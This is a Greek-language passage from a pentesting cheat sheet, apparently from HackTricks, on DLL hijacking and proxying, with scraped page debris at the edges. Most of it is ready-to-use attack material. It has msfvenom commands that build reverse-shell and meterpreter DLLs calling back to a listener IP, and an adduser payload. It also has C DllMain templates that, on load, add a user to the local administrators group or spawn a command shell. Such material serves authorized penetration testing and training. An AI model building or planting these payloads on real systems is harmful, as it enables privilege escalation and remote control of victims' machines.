Επιπλέον, στην **επόμενη ενότητα** μπορείτε να βρείτε μερικούς **βασικούς κώδικες dll** που μπορεί να είναι χρήσιμοι ως **πρότυπα** ή για να δημιουργήσετε ένα **dll με εξαγόμενες μη απαραίτητες συναρτήσεις**.
|
||||
|
||||
## **Δημιουργία και μεταγλώττιση Dlls**
|
||||
|
||||
### **Dll Proxifying**
|
||||
|
||||
Βασικά, ένας Dll proxy είναι ένα Dll ικανό να εκτελέσει τον κακόβουλο κώδικά σας όταν φορτώνεται, αλλά και να εκθέτει και να λειτουργεί όπως αναμένεται προωθώντας όλες τις κλήσεις στη πραγματική βιβλιοθήκη.
|
||||
|
||||
Με το εργαλείο [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) ή [**Spartacus**](https://github.com/Accenture/Spartacus) μπορείτε στην ουσία να υποδείξετε ένα εκτελέσιμο και να επιλέξετε τη βιβλιοθήκη που θέλετε να proxify και να δημιουργήσετε ένα proxified dll ή να υποδείξετε το Dll και να δημιουργήσετε ένα proxified dll.
|
||||
|
||||
### **Meterpreter**
|
||||
|
||||
**Get rev shell (x64):**
|
||||
```bash
|
||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Αποκτήστε ένα meterpreter (x86):**
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Δημιουργήστε έναν χρήστη (x86 δεν είδα έκδοση x64):**
|
||||
```
|
||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||
```
|
||||
### Δικό σας
|
||||
|
||||
Σημειώστε ότι σε αρκετές περιπτώσεις το Dll που θα μεταγλωττίσετε πρέπει να **εξάγει αρκετές συναρτήσεις** που πρόκειται να φορτωθούν από τη διεργασία-θύμα. Αν αυτές οι συναρτήσεις δεν υπάρχουν, το **binary δεν θα μπορεί να τις φορτώσει** και το **exploit θα αποτύχει**.
|
||||
```c
|
||||
// Tested in Win10
|
||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||
#include <windows.h>
|
||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
||||
switch(dwReason){
|
||||
case DLL_PROCESS_ATTACH:
|
||||
system("whoami > C:\\users\\username\\whoami.txt");
|
||||
WinExec("calc.exe", 0); //This doesn't accept redirections like system
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
break;
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
||||
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
||||
|
||||
#include <windows.h>
|
||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
||||
if (dwReason == DLL_PROCESS_ATTACH){
|
||||
system("cmd.exe /k net localgroup administrators user /add");
|
||||
ExitProcess(0);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
|
||||
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
int owned()
|
||||
{
|
||||
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
|
||||
exit(0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
|
||||
{
|
||||
owned();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
//Another possible DLL
|
||||
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
|
||||
|
||||
#include<windows.h>
|
||||
#include<stdlib.h>
|
||||
#include<stdio.h>
|
||||
|
||||
void Entry (){ //Default function that is executed when the DLL is loaded
|
||||
system("cmd");
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
|
||||
switch (ul_reason_for_call){
|
||||
case DLL_PROCESS_ATTACH:
|
||||
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DEATCH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
## Αναφορές
|
||||
|
||||
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
|
||||
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
||||
|
||||
|
||||
|
||||
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user